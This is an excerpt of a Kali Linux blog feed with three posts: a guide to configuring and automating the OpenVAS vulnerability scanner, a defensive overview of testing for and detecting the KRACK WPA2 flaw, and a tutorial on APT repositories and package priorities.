&lt;p>This initial setup can take &lt;em>quite a long while&lt;/em>, even with a fast Internet connection so just sit back and let it do its thing. At the end of the setup, the automatically-generated password for the admin user will be displayed. Be sure to &lt;em>save this password somewhere safe&lt;/em>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvas-setup
ERROR: Directory for keys (/var/lib/openvas/private/CA) not found!
ERROR: Directory for certificates (/var/lib/openvas/CA) not found!
ERROR: CA key not found in /var/lib/openvas/private/CA/cakey.pem
ERROR: CA certificate not found in /var/lib/openvas/CA/cacert.pem
ERROR: CA certificate failed verification, see /tmp/tmp.7G2IQWtqwj/openvas-manage-certs.log for details. Aborting.
ERROR: Your OpenVAS certificate infrastructure did NOT pass validation.
See messages above for details.
Generated private key in /tmp/tmp.PerU5lG2tl/cakey.pem.
Generated self signed certificate in /tmp/tmp.PerU5lG2tl/cacert.pem.
...
/usr/sbin/openvasmd
User created with password 'xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx'.
&lt;/code>&lt;/pre>
&lt;h3 id="dealing-with-setup-errors">Dealing with Setup Errors&lt;/h3>
&lt;p>Occasionally, the &amp;lsquo;openvas-setup&amp;rsquo; script will display errors at the end of the NVT download similar to the following:&lt;/p>
&lt;pre>&lt;code class="language-plain">(openvassd:2272): lib kb_redis-CRITICAL **: get_redis_ctx: redis connection error: No such file or directory
(openvassd:2272): lib kb_redis-CRITICAL **: redis_new: cannot access redis at '/var/run/redis/redis.sock'
(openvassd:2272): lib kb_redis-CRITICAL **: get_redis_ctx: redis connection error: No such file or directory
openvassd: no process found
&lt;/code>&lt;/pre>
&lt;p>If you are unfortunate enough to encounter this issue, you can run &amp;lsquo;openvas-check-setup&amp;rsquo; to see what component is causing issues. In this particular instance, we receive the following from the script:&lt;/p>
&lt;pre>&lt;code class="language-plain">...
ERROR: The number of NVTs in the OpenVAS Manager database is too low.
FIX: Make sure OpenVAS Scanner is running with an up-to-date NVT collection and run 'openvasmd --rebuild'.
...
&lt;/code>&lt;/pre>
&lt;p>The &amp;lsquo;openvas-check-setup&amp;rsquo; scipt detects the issue and even provides the command to run to (hopefully) resolve the issue. After rebuilding the NVT collection as recommended, all checks are passed:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvasmd --rebuild
root@kali:~# openvas-check-setup
openvas-check-setup 2.3.7
Test completeness and readiness of OpenVAS-9
...
It seems like your OpenVAS-9 installation is OK.
...
&lt;/code>&lt;/pre>
&lt;h3 id="managing-openvas-users">Managing OpenVAS Users&lt;/h3>
&lt;p>If you need (or want) to create additional OpenVAS users, run &amp;lsquo;openvasmd&amp;rsquo; with the &lt;strong>--create-user&lt;/strong> option, which will add a new user and display the randomly-generated password:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvasmd --create-user=dookie
User created with password 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyy'.
root@kali:~# openvasmd --get-users
admin
dookie
&lt;/code>&lt;/pre>
&lt;p>If you&amp;rsquo;re anything like us, you will forget to save the admin password or accidentally delete it. Fortunately, changing OpenVAS user passwords is easily accomplished with &amp;lsquo;openvasmd&amp;rsquo; and the &lt;strong>--new-password&lt;/strong> option:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvasmd --user=dookie --new-password=s3cr3t
root@kali:~# openvasmd --user=admin --new-password=sup3rs3cr3t
&lt;/code>&lt;/pre>
&lt;h3 id="starting-and-stopping-openvas">Starting and Stopping OpenVAS&lt;/h3>
&lt;p>Network services are disabled by default in Kali Linux so if you haven&amp;rsquo;t configured OpenVAS to start at boot, you can start the required services by running &amp;lsquo;openvas-start&amp;rsquo;:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvas-start
Starting OpenVas Services
&lt;/code>&lt;/pre>
&lt;p>When the services finish initializing, you should find TCP ports 9390 and 9392 listening on your loopback interface:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# ss -ant
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:9390 *:*
LISTEN 0 128 127.0.0.1:9392 *:*
&lt;/code>&lt;/pre>
&lt;p>Due to the strain on system resources, you will likely want to stop OpenVAS whenever you are done using it, especially if you are not using a dedicated system for vulnerability scanning. OpenVAS can be stopped by running &amp;lsquo;openvas-stop&amp;rsquo;:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvas-stop
Stopping OpenVas Services
&lt;/code>&lt;/pre>
&lt;h2 id="using-the-greenbone-security-assistant">Using the Greenbone Security Assistant&lt;/h2>
&lt;p>The Greenbone Security Assistant is the OpenVAS web interface, available on your local machine (after starting OpenVAS) at &lt;strong>&lt;em>https://localhost:9392&lt;/em>&lt;/strong>. After accepting the self-signed certificate, you will be presented with the login page and once authenticated, you will see the main dashboard.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="configuring-credentials">Configuring Credentials&lt;/h3>
&lt;p>Vulnerability scanners provide the most complete results when you are able to provide the scanning engine with credentials to use on scanned systems. OpenVAS will use these credentials to log in to the scanned system and perform detailed enumeration of installed software, patches, etc. You can add credentials via the &amp;ldquo;Credentials&amp;rdquo; entry under the &amp;ldquo;Configuration&amp;rdquo; menu.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas4.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="target-configuration">Target Configuration&lt;/h3>
&lt;p>OpenVAS, like most vulnerability scanners, can scan for remote systems but it&amp;rsquo;s a vulnerability scanner, not a port scanner. Rather than relying on a vulnerability scanner for identifying hosts, you will make your life much easier by using a dedicated network scanner like &lt;a href="https://www.kali.org/tools/nmap/">Nmap&lt;/a> or &lt;a href="https://www.kali.org/tools/masscan/">Masscan&lt;/a> and import the list of targets in OpenVAS:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# nmap -sn -oA nmap-subnet-86 192.168.86.0/24
root@kali:~# grep Up nmap-subnet-86.gnmap | cut -d &amp;quot; &amp;quot; -f 2 &amp;gt; live-hosts.txt
&lt;/code>&lt;/pre>
&lt;p>Once you have your list of hosts, you can import them under the &amp;ldquo;Targets&amp;rdquo; section of the &amp;ldquo;Configuration&amp;rdquo; menu.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas6.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas6.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas7.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas7.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="scan-configuration">Scan Configuration&lt;/h3>
&lt;p>Prior to launching a vulnerability scan, you should fine-tune the Scan Config that will be used, which can be done under the &amp;ldquo;Scan Configs&amp;rdquo; section of the &amp;ldquo;Configuration&amp;rdquo; menu. You can clone any of the default Scan Configs and edit its options, disabling any services or checks that you don&amp;rsquo;t require. If you use Nmap to conduct some prior analysis of your target(s), you can save hours of vulnerability scanning time.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas8.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas8.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="task-configuration">Task Configuration&lt;/h3>
&lt;p>Your credentials, targets, and scan configurations are setup so now you&amp;rsquo;re ready to put everything together and run a vulnerability scan. In OpenVAS, vulnerability scans are conducted as &amp;ldquo;Tasks&amp;rdquo;. When you set up a new task, you can further optimize the scan by either increasing or decreasing the concurrent activities that take place. With our system with 3GB of RAM, we adjusted our task settings as shown below.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas9.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas9.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>With our more finely-tuned scan settings and target selection, the results of our scan are much more useful.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas10.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/openvas10.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="automating-openvas">Automating OpenVAS&lt;/h2>
&lt;p>One of the lesser-known features of OpenVAS is its &lt;a href="https://www.openvas.org/src-doc/openvas-cli/index.html">command-line interface&lt;/a>, which you interact with via the &amp;lsquo;omp&amp;rsquo; command. Its usage isn&amp;rsquo;t entirely intuitive but we aren&amp;rsquo;t the only fans of OpenVAS and we came across a couple of basic scripts that you can use and extend to automate your OpenVAS scans.&lt;/p>
&lt;p>The first is &lt;a href="https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7">openvas-automate.sh by mgeeky&lt;/a>, a semi-interactive Bash script that prompts you for a scan type and takes care of the rest. The scan configs are hard-coded in the script so if you want to use your customized configs, they can be added under the &amp;ldquo;targets&amp;rdquo; section:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt -y install pcregrep
root@kali:~# ./openvas-automate.sh 192.168.86.61
:: OpenVAS automation script.
mgeeky, 0.1
[&amp;gt;] Please select scan type:
1. Discovery
2. Full and fast
3. Full and fast ultimate
4. Full and very deep
5. Full and very deep ultimate
6. Host Discovery
7. System Discovery
9. Exit
--------------------------------
Please select an option: 5
[+] Tasked: 'Full and very deep ultimate' scan against '192.168.86.61'
[&amp;gt;] Reusing target...
[+] Target's id: 6ccbb036-4afa-46d8-b0c0-acbd262532e5
[&amp;gt;] Creating a task...
[+] Task created successfully, id: '8e77181c-07ac-4d2c-ad30-9ae7a281d0f8'
[&amp;gt;] Starting the task...
[+] Task started. Report id: 6bf0ec08-9c60-4eb5-a0ad-33577a646c9b
[.] Awaiting for it to finish. This will take a long while...
8e77181c-07ac-4d2c-ad30-9ae7a281d0f8 Running 1% 192.168.86.61
&lt;/code>&lt;/pre>
&lt;p>We also came across a &lt;a href="https://code610.blogspot.com/2016/12/automated-scans-with-openvas-and-kali.html">blog post by code16&lt;/a> that introduces and explains their &lt;a href="https://github.com/c610/tmp/blob/master/code16.py">Python script for interacting with OpenVAS&lt;/a>. Like the Bash script above, you will need to make some slight edits to the script if you want to customize the scan type:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# ./code16.py 192.168.86.27
------------------------------------------------------------------------------
code16
------------------------------------------------------------------------------
small wrapper for OpenVAS 6
[+] Found target ID: 19f3bf20-441c-49b9-823d-11ef3b3d18c2
[+] Preparing options for the scan...
[+] Task ID = 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Running scan for 192.168.86.27
[+] Scan started... To get current status, see below:
zZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzz
...
zZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzz
[+] Scan looks to be done. Good.
[+] Target scanned. Finished taskID : 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Cool! We can generate some reports now ... :)
[+] Looking for report ID...
[+] Found report ID : 5ddcb4ed-4f96-4cee-b7f3-b7dad6e16cc6
[+] For taskID : 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Preparing report in PDF for 192.168.86.27
[+] Report should be done in : Report_for_192.168.86.27.pdf
[+] Thanks. Cheers!
&lt;/code>&lt;/pre>
&lt;p>With the wide range of options available in OpenVAS, we were only really able to just scratch the surface in this post but if you take your time and effectively tune your vulnerability scans, you will find that the bad reputation of OpenVAS and other vulnerability scanners is undeserved. The number of connected devices in our homes and workplaces is increasing all the time and managing them becomes more of a challenge. Making effective use of a vulnerability scanner can make that management at least a little bit easier.&lt;/p></description></item><item><title>Kali on KRACK</title><link>https://www.kali.org/blog/kali-on-krack/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-on-krack/</guid><pubDate>Thu, 19 Oct 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-on-krack/images/kali-krack-wpa2-attack.jpg" type="image/jpg"/><description>&lt;h2 id="wpa2-key-reinstallation-attack-or-krack-attack">WPA2 Key Reinstallation AttaCK or KRACK attack&lt;/h2>
&lt;p>Recently, Mathy Vanhoef of imec-DistriNet, KU Leuven, discovered a serious weakness in WPA2 known as the &lt;a href="https://www.krackattacks.com/">Key Reinstallation AttaCK (or KRACK) attack&lt;/a>. Their overview, Key Reinstallation Attacks: Breaking WPA2 by forcing nonce reuse, and research paper (&lt;a href="https://papers.mathyvanhoef.com/ccs2017.pdf">Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2, co-authored by Frank Piessens&lt;/a>) have created quite a stir in our industry because the press touts that it &amp;ldquo;breaks Wi-Fi&amp;rdquo;.&lt;/p>
&lt;p>There have been numerous articles written about this vulnerability, and we won&amp;rsquo;t rehash them here. However, we want to take a moment to talk about how this relates to Kali Linux, from a defensive, testing, and detection standpoint.&lt;/p>
&lt;h3 id="is-kali-linux-vulnerable">Is Kali Linux Vulnerable?&lt;/h3>
&lt;p>From a defensive standpoint, if you&amp;rsquo;re keeping up with your Kali Linux rolling updates (via a simple &amp;ldquo;apt update &amp;amp;&amp;amp; apt upgrade), you&amp;rsquo;re already patched against this vulnerability thanks to patches in &lt;a href="https://packages.debian.org/buster/wpasupplicant">wpasupplicant&lt;/a> and &lt;a href="https://packages.debian.org/buster/hostapd">hostapd&lt;/a> (both at 2.4-1.1). To be entirely clear: an &lt;em>updated&lt;/em> version of Kali Linux is &lt;em>not vulnerable&lt;/em> to this attack. You are keeping your Kali Linux system up-to-date, aren&amp;rsquo;t you?&lt;/p>
&lt;h3 id="how-do-i-test-for-the-vulnerability">How do I test for the Vulnerability?&lt;/h3>
&lt;p>With your Kali system updated, there are also some steps you can take to test for this vulnerability on your access points. &lt;a href="https://github.com/vanhoefm/krackattacks-test-ap-ft">Mathy Vanhoef recently released a script&lt;/a> that can be run from Kali Linux to test whether or not your access point (AP) is affected by &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-13082">CVE-2017-13082&lt;/a> or specifically the Key Reinstall in FT Handshake vulnerability found in 802.11r devices. The script requires that you authenticate to the access point, but bear in mind that it may incorrectly flag an AP as vulnerable due to &amp;ldquo;benign retransmissions of data frames&amp;rdquo;.&lt;/p>
&lt;h3 id="how-can-i-detect-attacks">How can I Detect Attacks?&lt;/h3>
&lt;p>&lt;a href="https://twitter.com/KismetWireless">Dragorn&lt;/a>, the author of the amazing &lt;a href="https://kismetwireless.net/">Kismet&lt;/a>, has released lots of great information on the subject on &lt;a href="https://www.kismetwireless.net/year-archive">his blog&lt;/a>, including excellent info about detecting KRACK attacks using Kismet. He explains that the &lt;a href="https://github.com/kismetwireless/kismet">git-master version of Kismet&lt;/a> is, &amp;ldquo;introducing alerts to attempt to detect a Krack-style attack&amp;rdquo;.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-on-krack/images/krack-alert.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-on-krack/images/krack-alert.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>These alerts track spoofed access points, multichannel access points, zero-length keys, zero nonce in a handshake, and nonce retransmission, all factors that could point to a KRACK attack in progress.&lt;/p>
&lt;p>Dragorn warns that since Kismet hops channels, it could miss handshake packets and therefore miss the attack. In addition, he says that false positives are still possible despite Kismet&amp;rsquo;s packet de-duplication and that once real proof-of-concept code is released for KRACK, the logic of these alerts may need to be adjusted.&lt;/p>
&lt;p>Dragorn also explains that, &amp;ldquo;it looks like you can still trip the kismet nonce detection w/ a packet flagged in the frame control as a retransmit&amp;rdquo; but despite these drawbacks, Kismet is still a decent system for detection of this and other Wi-Fi protocol attacks.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-on-krack/images/kistmet-krack-detect.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-on-krack/images/kistmet-krack-detect.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="to-install-the-git-master-version-of-kismet-on-kali-linux-follow-these-steps">To install the git-master version of Kismet on Kali Linux, follow these steps&lt;/h4>
&lt;p>First, tell networkmanager to ignore the Wi-Fi device by adding these lines:&lt;/p>
&lt;pre>&lt;code class="language-ini">[keyfile]
unmanaged-devices=interface-name:wlan0
&lt;/code>&lt;/pre>
&lt;p>to &lt;code>/etc/NetworkManager/NetworkManager.conf&lt;/code>&lt;/p>
&lt;p>Then, restart NetworkManager:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# systemctl restart NetworkManager
&lt;/code>&lt;/pre>
&lt;p>Next, install updates and the git-master version of Kismet:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update
root@kali:~# apt upgrade
root@kali:~# git clone https://www.kismetwireless.net/git/kismet.git
root@kali:~# apt install build-essential libmicrohttpd-dev libnl-3-dev libnl-genl-3-dev libcap-dev libpcap-dev libncurses5-dev libnm-dev libdw-dev libsqlite3-dev
root@kali:~# cd kismet
root@kali:~# ./configure
root@kali:~# make
root@kali:~# make suidinstall
root@kali:~# /usr/local/bin/kismet_capture_tools/kismet_cap_linux_wifi --list
root@kali:~# kismet -c wlan0
&lt;/code>&lt;/pre>
&lt;p>Next you can browse to &lt;strong>&lt;em>http://localhost:2501&lt;/em>&lt;/strong> to view the Kismet interface and any alerts. Be sure to log in with the credentials found in &lt;code>~/.kismet/kismet_httpd.conf&lt;/code> to get full functionality. You can also build and run the capture tools on separate machines, allowing you to monitor from several endpoints and view the alerts on a single centralized server.&lt;/p>
&lt;p>Overall, this vulnerability is not the end of the world. As &lt;a href="https://twitter.com/grifter801/status/920132813680193538">@grifter801&lt;/a> puts it, this vulnerability encourages this shocking approach: &lt;em>&amp;ldquo;Patch your stuff. Use 2FA. Use HTTPS.&amp;rdquo;&lt;/em> We couldn&amp;rsquo;t agree more.&lt;/p>
&lt;p>We also encourage you to consider the defensive, testing, and detection perspectives of any new vulnerability to help you become more aware of the finer details of the vulnerability, gain insight about it, and become part of the solution.&lt;/p>
&lt;p>Thanks to OffSec and Kali team member @Steev for the technical resources used in this article.&lt;/p></description></item><item><title>Advanced Package Management in Kali Linux</title><link>https://www.kali.org/blog/advanced-package-management-in-kali-linux/</link><guid isPermaLink="true">https://www.kali.org/blog/advanced-package-management-in-kali-linux/</guid><pubDate>Tue, 26 Sep 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/advanced-package-management-in-kali-linux/images/kali-advanced-package-management-2.jpg" type="image/jpg"/><description>&lt;p>The &lt;a href="https://en.wikipedia.org/wiki/APT_(Debian)">Advanced Package Tool&lt;/a> (APT) is how programs, libraries, documentation, and even the kernel itself are installed and managed on Kali and other Debian-based derivatives. APT often works so well that many users don&amp;rsquo;t pay any particular attention to it other than to perhaps search for and install programs and (hopefully) update their system regularly.&lt;/p>
&lt;p>For most standard users, making use of APT this way is perfectly normal but we like to think that people who use Kali Linux are not standard users (in a good way) and so we are devoting this post to telling how you to get better use of APT and how to take advantage of the wide ecosystem of packages that are available, while keeping your Kali system stable and happy.&lt;/p>
&lt;p>Many people will tell you that you should not rely on a package manager at all and instead, you should compile everything from scratch because you will learn more that way. While it&amp;rsquo;s certainly true that you will learn a lot, especially as you start out, building everything by hand will quickly devolve into tedium when you could be spending your time hacking or learning something new, preferably both.&lt;/p>
&lt;p>In this post, we&amp;rsquo;ll show you how you can safely add additional package repositories to your Kali installation, how to upgrade and downgrade them, and how to ensure all of these repositories live in harmony. APT is very powerful and will evaluate the available packages from all sources as a whole when it formulates its solutions.&lt;/p>
&lt;h2 id="adding-package-sources-to-kali-linux">Adding Package Sources to Kali Linux&lt;/h2>
&lt;p>If you want to make your future self happy, you should not directly edit &lt;strong>&lt;em>/etc/apt/sources.list&lt;/em>&lt;/strong> directly. For each new package repository you add to your system, create a new file with a descriptive name (like &lt;strong>&lt;em>debian-unstable.list&lt;/em>&lt;/strong>) under &lt;strong>&lt;em>/etc/apt/sources.list.d/&lt;/em>&lt;/strong>. By leaving the original &lt;strong>&lt;em>sources.list&lt;/em>&lt;/strong> file untouched, if Kali needs to update it, it won&amp;rsquo;t interrupt you during the update, asking you which version of the file to keep.&lt;/p>
&lt;p>In this post, we are going to add the &lt;a href="https://www.kali.org/blog/bleeding-edge-kali-repositories/">Kali Bleeding-Edge&lt;/a> repository and the Debian &lt;a href="https://wiki.debian.org/DebianUnstable">Unstable&lt;/a> and &lt;a href="https://wiki.debian.org/DebianExperimental">Experimental&lt;/a> repositories.&lt;/p>
&lt;h3 id="the-kali-bleeding-edge-repository">The kali-bleeding-edge Repository&lt;/h3>
&lt;p>The kali-bleeding-edge repository contains a number of tools that are very popular and change very frequently (even daily). It would be impractical and time-consuming to manually create and test updated packages so the packages in this repository are generated automatically whenever the upstream source changes. On the positive side, it means you are never more than 24 hours behind the upstream project but on the downside, these packages are not tested so you need to be aware that the packages in this repository may break from time to time.&lt;/p>
&lt;p>You can add the repo and update the list of available packages as follows:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo &amp;quot;deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free&amp;quot; &amp;gt; /etc/apt/sources.list.d/bleeding-edge.list
apt update
&lt;/code>&lt;/pre>
&lt;p>To install a package from kali-bleeding-edge, you need to append the repository name to the package name:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt install dnsrecon/kali-bleeding-edge
&lt;/code>&lt;/pre>
&lt;p>Fortunately, APT makes it an easy to downgrade back to the kali-rolling version of a particular package at any time, so there is no need to fear the packages in the kali-bleeding-edge repository. If you find that a package is broken in kali-bleeding-edge, you can revert back to the kali-rolling version in the same manner:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt install dnsrecon/kali-rolling
&lt;/code>&lt;/pre>
&lt;h3 id="the-debian-unstable-and-experimental-repositories">The Debian Unstable and Experimental Repositories&lt;/h3>
&lt;p>Kali Linux is a &lt;a href="https://wiki.debian.org/Derivatives/Census">derivative of Debian&lt;/a> Testing, which has more up-to-date software than Debian Stable. For even more recent software, there is the Debian Unstable distribution, which is a rolling development version of Debian, containing the most recent packages. When you encounter a bug in a Debian package, there might be a fixed version in the Debian Unstable repository so it is a good idea to add it to your Kali system. As with kali-bleeding-edge, the packages in Unstable may break from time to time.&lt;/p>
&lt;p>Debian Experimental is yet another repository that contains packages that are under development. The packages in this repository are very current but can also be very buggy, more so than kali-bleeding-edge or Debian Unstable. APT will only install packages from this repository if you explicitly request them and you can always downgrade if things don&amp;rsquo;t work out:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo &amp;quot;deb http://ftp.debian.org/debian unstable main contrib non-free&amp;quot; &amp;gt; /etc/apt/sources.list.d/debian.list
echo &amp;quot;deb http://deb.debian.org/debian experimental main&amp;quot; &amp;gt;&amp;gt; /etc/apt/sources.list.d/debian.list
apt update
&lt;/code>&lt;/pre>
&lt;p>As with the kali-bleeding-edge packages, if you want to install packages from unstable or experimental, append the repository name to the end of the package name as shown below:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install socat/experimental netperf/unstable
Reading package lists... Done
Building dependency tree
Reading state information... Done
Selected version '2.0.0~beta9-1' (Debian:experimental [amd64]) for 'socat'
Selected version '2.6.0-2.1' (kali-rolling, Debian:unstable [amd64]) for 'netperf'
The following NEW packages will be installed:
netperf
The following packages will be upgraded:
socat
1 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 909 kB of archives.
After this operation, 1,127 kB of additional disk space will be used.
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/non-free amd64 netperf amd64 2.6.0-2.1 [544 kB]
Get:2 http://deb.debian.org/debian experimental/main amd64 socat amd64 2.0.0~beta9-1 [365 kB]
Fetched 909 kB in 1s (555 kB/s)
Reading changelogs... Done
apt-listchanges: Mailing root: apt-listchanges: news for kali
Selecting previously unselected package netperf.
(Reading database ... 287650 files and directories currently installed.)
Preparing to unpack .../netperf_2.6.0-2.1_amd64.deb ...
Unpacking netperf (2.6.0-2.1) ...
Preparing to unpack .../socat_2.0.0~beta9-1_amd64.deb ...
Unpacking socat (2.0.0~beta9-1) over (1.7.3.2-1) ...
Setting up socat (2.0.0~beta9-1) ...
Processing triggers for systemd (234-3) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up netperf (2.6.0-2.1) ...
update-rc.d: We have no instructions for the netperf init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for systemd (234-3) ...
&lt;/code>&lt;/pre>
&lt;h2 id="determining-package-priorities">Determining Package Priorities&lt;/h2>
&lt;p>In order to determine what packages get installed, APT has &lt;em>priorities&lt;/em> assigned for all package sources, with the highest priority number taking precedence. A package with a priority of &lt;em>0&lt;/em> will never be installed and a package with a priority over &lt;em>1000&lt;/em> will always be installed, even if it means downgrading the package.&lt;/p>
&lt;p>This is all well and good for APT but how can you, the user, see what the priority is of a given package? Enter the little-known &amp;lsquo;apt-cache&amp;rsquo; command and its &amp;lsquo;policy&amp;rsquo; option, which displays all of your configured repositories and their priorities:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-cache policy
Package files:
100 /var/lib/dpkg/status
release a=now
1 http://deb.debian.org/debian experimental/main amd64 Packages
release o=Debian,a=experimental,n=experimental,l=Debian,c=main,b=amd64
origin deb.debian.org
500 http://ftp.debian.org/debian unstable/non-free amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=non-free,b=amd64
origin ftp.debian.org
500 http://ftp.debian.org/debian unstable/contrib amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=contrib,b=amd64
origin ftp.debian.org
500 http://ftp.debian.org/debian unstable/main amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=main,b=amd64
origin ftp.debian.org
100 http://http.kali.org/kali kali-bleeding-edge/main amd64 Packages
release o=Kali,n=kali-bleeding-edge,c=main,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/contrib amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=contrib,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/non-free amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=non-free,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/main amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=main,b=amd64
origin http.kali.org
Pinned packages:
&lt;/code>&lt;/pre>
&lt;p>You will note that kali-rolling, as the default distribution, has the highest priority at 990, meaning its packages take precedence over all others (which is what you want as a Kali user), followed by Debian unstable at 500, kali-bleeding-edge at 100, and lastly, experimental, with a lowly priority of 1. To see how these priorities apply to a given package, take a look at &lt;a href="http://sqlmap.org/">sqlmap&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-cache policy sqlmap
sqlmap:
Installed: 1.1.9-1
Candidate: 1.1.9-1
Version table:
1.1.9+0~git1505273832.7de63a-1 100
100 http://http.kali.org/kali kali-bleeding-edge/main amd64 Packages
*** 1.1.9-1 990
990 http://http.kali.org/kali kali-rolling/main amd64 Packages
500 http://ftp.debian.org/debian unstable/main amd64 Packages
100 /var/lib/dpkg/status
&lt;/code>&lt;/pre>
&lt;p>Even though the version of sqlmap in kali-bleeding-edge is newer, it will not be installed because it only has a priority of 100, versus the installed version, which has a priority of 990. It is for this reason that when you want to install a package from a different package repository, it needs to be requested explicitly:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install sqlmap/kali-bleeding-edge
Reading package lists... Done
Building dependency tree
Reading state information... Done
Selected version '1.1.9+0~git1505273832.7de63a-1' (http.kali.org [all]) for 'sqlmap'
The following packages will be upgraded:
sqlmap
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 6,789 kB of archives.
After this operation, 2,048 B of additional disk space will be used.
Get:1 http://kali.mirror.globo.tech/kali kali-bleeding-edge/main amd64 sqlmap all 1.1.9+0~git1505273832.7de63a-1 [6,789 kB]
Fetched 6,789 kB in 5s (1,192 kB/s)
Reading changelogs... Done
(Reading database ... 287587 files and directories currently installed.)
Preparing to unpack .../sqlmap_1.1.9+0~git1505273832.7de63a-1_all.deb ...
Unpacking sqlmap (1.1.9+0~git1505273832.7de63a-1) over (1.1.9-1) ...
Setting up sqlmap (1.1.9+0~git1505273832.7de63a-1) ...
Processing triggers for man-db (2.7.6.1-2) ...
